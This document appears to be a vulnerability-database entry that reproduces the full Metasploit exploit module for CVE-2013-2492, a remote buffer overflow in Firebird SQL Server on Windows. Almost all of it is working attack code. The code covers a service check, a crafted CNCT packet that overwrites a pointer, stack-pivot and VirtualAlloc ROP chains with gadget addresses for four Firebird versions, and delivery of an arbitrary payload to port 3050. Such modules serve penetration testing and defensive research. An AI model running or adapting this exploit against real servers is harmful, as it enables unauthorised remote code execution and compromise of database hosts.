Firebird Relational Database CNCT Group Number Buffer Overflow

2013-03-07T14:51:05
ID MSF:EXPLOIT/WINDOWS/MISC/FB_CNCT_GROUP
Type metasploit
Reporter Rapid7
Modified 2017-09-14T02:03:34

Description

This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stack pivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize
    super(
      'Name'           => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in Firebird SQL Server.  A specially
        crafted packet can be sent which will overwrite a pointer allowing the attacker to
        control where data is read from.  Shortly, following the controlled read, the
        pointer is called resulting in code execution.

        The vulnerability exists with a group number extracted from the CNCT information,
        which is sent by the client, and whose size is not properly checked.

        This module uses an existing call to memcpy, just prior to the vulnerable code,
        which allows a small amount of data to be written to the stack. A two-phases
        stack pivot allows to execute the ROP chain which ultimately is used to execute
        VirtualAlloc and bypass DEP.
      },
      'Author'      => 'Spencer McIntyre',
      'Arch'        => ARCH_X86,
      'Platform'    => 'win',
      'References'  =>
        [
          [ 'CVE', '2013-2492' ],
          [ 'OSVDB', '91044' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh'
        },
      'Payload'      =>
        {
          # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
          'Prepend'  => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
          'Space'    => 400,
          'BadChars' => "\x00\x0a\x0d"
        },
      'Targets'     =>
        [
          # pivots are pointers to stack pivots of size 0x28
          [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
          [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
          [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
          [ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ],
          [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 31 2013'
    )

    register_options([Opt::RPORT(3050)])
  end

  def check
    begin
      connect
    rescue
      vprint_error("Unable to get a connection")
      return Exploit::CheckCode::Unknown
    end

    filename =  "C:\\#{rand_text_alpha(12)}.fdb"
    username = rand_text_alpha(7)

    check_data =  ""
    check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
    check_data << "\x00\x00\x00\x13"
    check_data << filename
    check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
    check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
    check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
    check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
    check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
    check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
    check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
    check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
    check_data << "\x00\x00\x00\x08"

    sock.put(check_data)
    data = sock.recv(16)
    disconnect

    opcode = data.unpack("N*")[0]
    if opcode == 3 # Accept
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def stack_pivot_rop_chain
    case target.name
    when 'Windows FB 2.5.2.26539'
      rop_chain = [
        0x005e1ea4,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x0059ffeb,		# POP EBP # RETN [fbserver.exe]
        0x0000153c,		# 0x0000153c-> ebp
        0x005d261f,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
        0x0059fe1f,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.5.1.26351'
      rop_chain = [
        0x005e1ab8,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x0059650b,		# POP EBP # RETN [fbserver.exe]
        0x0000153c,		# 0x0000153c-> ebp
        0x005cf6ff,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
        0x0059a3db,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.1.5.18496'
      rop_chain = [
        0x0055b844,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x4a86ee77,		# POP ECX # RETN [icuuc30.dll]
        0x000001c0,		# 0x000001c0-> ecx
        0x005aee63,		# ADD EAX,ECX # RETN [fbserver.exe]
        0x4a82d326,		# XCHG EAX,ESP # RETN [icuuc30.dll]
      ].pack("V*")
    when 'Windows FB 2.1.4.18393'
      rop_chain = [
        0x0042264c,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x4a8026e1,		# POP ECX # RETN [icuuc30.dll]
        0x000001c0,		# 0x000001c0-> ecx
        0x004c5499,		# ADD EAX,ECX # RETN [fbserver.exe]
        0x4a847664,		# XCHG EAX,ESP # RETN [icuuc30.dll]
      ].pack("V*")
    when 'Debug'
      rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
    end
    return rop_chain
  end

  def final_rop_chain
    # all rop chains in here created with mona.py, thanks corelan!
    case target.name
    when 'Windows FB 2.5.2.26539'
      rop_chain = [
        0x4a831344,	# POP ECX # RETN [icuuc30.dll]
        0x0065f16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x005989f0,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
        0x004666a6,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x00431905,	# POP EBP # RETN [fbserver.exe]
        0x00401932,	# & push esp # ret  [fbserver.exe]
        0x4a844ac0,	# POP EBX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> ebx
        0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x005dae9e,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x0057a822,	# POP EDI # RETN [fbserver.exe]
        0x005b0384,	# RETN (ROP NOP) [fbserver.exe]
        0x0046f8c3,	# POP EAX # RETN [fbserver.exe]
        0x90909090,	# nop
        0x00586002,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.5.1.26351'
      rop_chain = [
        0x00656472,	# POP ECX # RETN [fbserver.exe]
        0x0065b16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x00410940,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
        0x0063be76,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x0041d1ae,	# POP EBP # RETN [fbserver.exe]
        0x0040917f,	# & call esp [fbserver.exe]
        0x4a8589c0,	# POP EBX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> ebx
        0x4a864cc3,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x0064ef59,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x005979fa,	# POP EDI # RETN [fbserver.exe]
        0x00424a50,	# RETN (ROP NOP) [fbserver.exe]
        0x4a86052d,	# POP EAX # RETN [icuuc30.dll]
        0x90909090,	# nop
        0x005835f2,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.1.5.18496'
      rop_chain = [
        0x005763d5,	# POP EAX # RETN [fbserver.exe]
        0x005ce120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x004865a4,	# MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
        0x004cf4f6,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x004e695a,	# POP EBP # RETN [fbserver.exe]
        0x004d9e6d,	# & jmp esp [fbserver.exe]
        0x4a828650,	# POP EBX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> ebx
        0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x00590328,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x4a8573a1,	# POP EDI # RETN [icuuc30.dll]
        0x0042ba8c,	# RETN (ROP NOP) [fbserver.exe]
        0x00577605,	# POP EAX # RETN [fbserver.exe]
        0x90909090,	# nop
        0x004530ce,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Windows FB 2.1.4.18393'
      rop_chain = [
        0x4a843429,	# POP ECX # RETN [icuuc30.dll]
        0x005ca120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
        0x0055a870,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
        0x004cecf6,	# XCHG EAX,ESI # RETN [fbserver.exe]
        0x004279c0,	# POP EBP # RETN [fbserver.exe]
        0x0040747d,	# & call esp [fbserver.exe]
        0x004ebef1,	# POP EBX # RETN [fbserver.exe]
        0x00001000,	# 0x00001000-> ebx
        0x4a864c5e,	# POP EDX # RETN [icuuc30.dll]
        0x00001000,	# 0x00001000-> edx
        0x004eaa3b,	# POP ECX # RETN [fbserver.exe]
        0x00000040,	# 0x00000040-> ecx
        0x4a8330a2,	# POP EDI # RETN [icuuc30.dll]
        0x00423b82,	# RETN (ROP NOP) [fbserver.exe]
        0x0046b5b1,	# POP EAX # RETN [fbserver.exe]
        0x90909090,	# nop
        0x004c8cfc,	# PUSHAD # RETN [fbserver.exe]
      ].pack("V*")
    when 'Debug'
      rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
    end
    return rop_chain
  end

  def exploit
    connect

    rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")

    # this data gets written to the stack via memcpy, no more than 32 bytes can be written
    overwrite_and_rop_chain =  [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
    overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
    overwrite_and_rop_chain << stack_pivot_rop_chain

    filename  =  "C:\\#{rand_text_alpha(13)}.fdb"
    evil_data =  "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
    evil_data << "\x00\x00\x00\x14"
    evil_data << filename
    evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
    evil_data << "\x05\x20"
    evil_data << overwrite_and_rop_chain
    evil_data << "\x15\x6c\x6f\x63\x61\x6c"
    evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
    evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
    evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
    evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
    evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
    evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
    evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
    evil_data << rop_nop_sled
    evil_data << final_rop_chain
    evil_data << payload.encoded

    print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
    sock.put(evil_data)

    disconnect
  end
end